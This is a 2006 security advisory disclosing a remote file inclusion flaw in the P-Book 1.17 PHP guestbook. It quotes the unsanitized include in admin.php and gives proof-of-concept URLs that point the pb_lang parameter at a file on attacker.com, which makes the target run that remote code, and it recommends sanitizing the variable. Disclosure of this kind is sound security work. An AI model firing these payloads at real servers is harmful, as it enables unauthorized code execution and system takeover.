[ECHO_ADV_46$2006] P-Book <= 1.17 (pb_lang) Remote File Inclusion

ECHO_ADV_56$2006

[ECHO_ADV_46$2006] P-Book <= 1.17 (pb_lang) Remote File Inclusion

Author : Ahmad Maulana a.k.a Matdhule
Date Found : October, 18th 2006
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv56-matdhule-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote

Affected software description:

PHP Live Helper

Application : P-Book
version : 1.17
URL : http://www.PPoPn.net

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Vulnerability:
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I found vulnerability script admin.php

-----------------------admin.php----------------------
....
<?

$time = $reload * 60;
include("$pb_lang/language.php");
...
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Input passed to the "pb_lang" parameter in admin.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files:
pbook.php

Proof Of Concept:
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http://target.com/[p-book_path]/admin.php?pb_lang=http://attacker.com/in
ject.txt?
http://target.com/[p-book_path]/pbook.php?pb_lang=http://attacker.com/in
ject.txt?

Solution:
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- Sanitize variable $pb_lang on affected files.

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~ solpot a.k.a chris, J4mbi H4ck3r thx for the hacking lesson :) 
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~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ newbie_hacker (at) yahoogroups (dot) com [email concealed], jasakom_perjuangan (at) yahoogroups (dot) com [email concealed]
~ Solpotcrew Comunity (#nyubicrew), #e-c-h-o @irc.dal.net
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Contact:
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matdhule[at]gmail[dot]com

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